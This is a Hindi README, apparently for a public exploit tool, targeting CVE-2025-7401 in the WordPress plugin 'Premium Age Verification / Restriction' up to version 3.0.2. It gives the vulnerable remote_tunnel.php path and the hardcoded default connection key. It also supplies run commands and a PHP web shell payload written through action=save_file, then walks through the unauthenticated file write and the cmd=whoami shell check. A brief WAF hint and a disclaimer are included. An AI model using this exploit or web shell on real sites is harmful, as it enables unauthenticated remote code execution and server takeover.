
वर्डप्रेस के लिए प्रीमियम आयु सत्यापन / प्रतिबंध <= 3.0.2 - बिना प्रमाणीकरण के मनमानी फ़ाइल पढ़ना और लिखना
Premium Age Verification / Restriction for WordPress <= 3.0.2 - बिना प्रमाणीकरण के मनमाना फ़ाइल पढ़ना और लिखना
"Premium Age Verification / Restriction for WordPress" प्लगइन में remote_tunnel.php में एक अपर्याप्त रूप से संरक्षित रिमोट सपोर्ट एंडपॉइंट होता है। प्रभावित संस्करणों (3.0.2 तक सम्मिलित) में, इस एंडपॉइंट का दुरुपयोग बिना प्रमाणीकरण के मनमाना फ़ाइल पढ़ने और लिखने के लिए किया जा सकता है। सफल शोषण से संवेदनशील जानकारी उजागर हो सकती है या रिमोट कोड निष्पादन संभव हो सकता है।
CVE-2025-7401.py# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php पर संदिग्ध अनुरोधों को पहचानने और ब्लॉक करने के लिए WAF नियम तैनात करें।/wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php पैरामीटर action=save_file, file, file_content के साथ।remote_init.php जैसी अप्रत्याशित फ़ाइलें खोजें।यदि आप किसी तृतीय-पक्ष इंफ्रास्ट्रक्चर पर यह भेद्यता खोजते हैं:
अनधिकृत भेद्यता परीक्षण उपकरणों का उपयोग कई क्षेत्राधिकारों में अवैध है। यह रिपॉजिटरी और स्क्रिप्ट केवल रक्षात्मक अनुसंधान, अधिकृत परीक्षण और समन्वित भेद्यता प्रकटीकरण के लिए है। जिन प्रणालियों के आप स्वामी नहीं हैं, उनका परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें।
लेखक और योगदानकर्ता सूचना या उपकरणों के दुरुपयोग के लिए कोई जिम्मेदारी स्वीकार नहीं करते हैं। इस सामग्री का उपयोग केवल कानूनी और नैतिक सीमाओं के भीतर करें।
द्वारा: Nxploited ( Khaled Alenazi )
| फ़्लैग | प्रकार | डिफ़ॉल्ट | विवरण |
|---|
| -u, --url | string | आवश्यक | लक्ष्य डोमेन या आंशिक URL। आवश्यक होने पर स्क्रिप्ट प्लगइन एंडपॉइंट जोड़ देगी। उदाहरण: example.com, https://example.com, example.com/wp-content/plugins/age-restriction/। |
| -key, --key | string | 330489965d8266a739442ef890f57805 | रिमोट सपोर्ट एंडपॉइंट द्वारा उपयोग की जाने वाली कनेक्शन कुंजी। आवश्यक होने पर लैब लक्ष्यों के लिए ओवरराइड करें। |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | फ़ाइल सामग्री के रूप में इंजेक्ट करने के लिए PHP स्निपेट। केवल अधिकृत परीक्षण के लिए बदलें। |
| --no-verify | flag | false | यदि मौजूद है, तो स्क्रिप्ट लिखी गई फ़ाइल का वैकल्पिक GET सत्यापन नहीं करेगी। |
| चरण | क्रिया | विवरण |
|---|
| 1 | इनपुट सामान्यीकरण | उपयोगकर्ता इनपुट (डोमेन या आंशिक पथ) स्वीकार करता है। स्कीम सुनिश्चित करता है (http:// यदि गायब है), डुप्लिकेट स्लैश हटाता है, और यदि एंडपॉइंट मौजूद नहीं है तो /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php जोड़ता है। |
| 2 | हेडर निर्माण | यथार्थवादी HTTP अनुरोध हेडर बनाता है (घूमता हुआ user-agent चयन, Accept, Referer, Content-Type)। |
| 3 | पेलोड एन्कोडिंग | दिए गए PHP स्निपेट को Base64-एन्कोड करता है और उसे file_content में रखता है। |
| 4 | POST एक्सप्लॉइट अनुरोध | सामान्यीकृत remote_tunnel.php एंडपॉइंट पर application/x-www-form-urlencoded के माध्यम से connection_key, action=save_file, file (सर्वर पथ), और file_content भेजता है। |
| 5 | प्रतिक्रिया पार्सिंग | प्रतिक्रिया बॉडी से JSON पार्स करने का प्रयास करता है। यदि JSON मौजूद है, तो status और file_path प्रिंट करता है; अन्यथा साफ की गई कच्ची प्रतिक्रिया प्रिंट करता है। |
| 6 | सत्यापन (वैकल्पिक) | यह जांचने के लिए कि इंजेक्ट की गई फ़ाइल सुलभ है और सामग्री लौटाती है, /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami पर GET का प्रयास करता है। --no-verify के माध्यम से वैकल्पिक। |
| 7 | रिपोर्टिंग | उपयोग किए गए एंडपॉइंट, HTTP स्थिति, पार्स किया गया JSON (यदि कोई हो), अपेक्षित शेल URL, और छोटा किया गया सत्यापन आउटपुट (सफल होने पर) सहित एक संरचित, मानव-पठनीय रिपोर्ट प्रिंट करता है। |
| आउटपुट फ़ील्ड | अर्थ | उदाहरण |
|---|
| लक्ष्य एंडपॉइंट | संपर्क किया गया अंतिम सामान्यीकृत URL (remote_tunnel.php का पूर्ण पथ)। | http://example.com/wp-content/.../remote_tunnel.php |
| HTTP स्थिति कोड | POST अनुरोध से HTTP प्रतिक्रिया कोड। 200 अक्सर संकेत देता है कि अनुरोध संसाधित हो गया। | 200 |
| प्रतिक्रिया JSON स्थिति | यदि एंडपॉइंट JSON लौटाता है, तो status फ़ील्ड सफलता/विफलता की रिपोर्ट करता है। | valid |
| प्रतिक्रिया JSON file_path | एंडपॉइंट द्वारा लौटाया गया सर्वर-साइड पथ जो दिखाता है कि उसने फ़ाइल कहाँ लिखी (सूचनात्मक)। | /var/www/html/wp-content/.../remote_init.php |
| कच्ची प्रतिक्रिया | गैर-JSON प्रतिक्रिया बॉडी (साफ की गई) जैसे PHP नोटिस या संदेश। | Notice: ... |
| शेल URL (अपेक्षित) | वह सार्वजनिक URL जहाँ इंजेक्ट की गई फ़ाइल सुलभ होगी। केवल अधिकृत परीक्षणों में सत्यापन के लिए उपयोग करें। | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| सत्यापन HTTP स्थिति | वैकल्पिक GET सत्यापन की HTTP स्थिति। | 200 |
| सत्यापन बॉडी (छोटा किया गया) | सत्यापन प्रतिक्रिया बॉडी के पहले N अक्षर (कमांड आउटपुट देखने के लिए उपयोगी)। | www-data |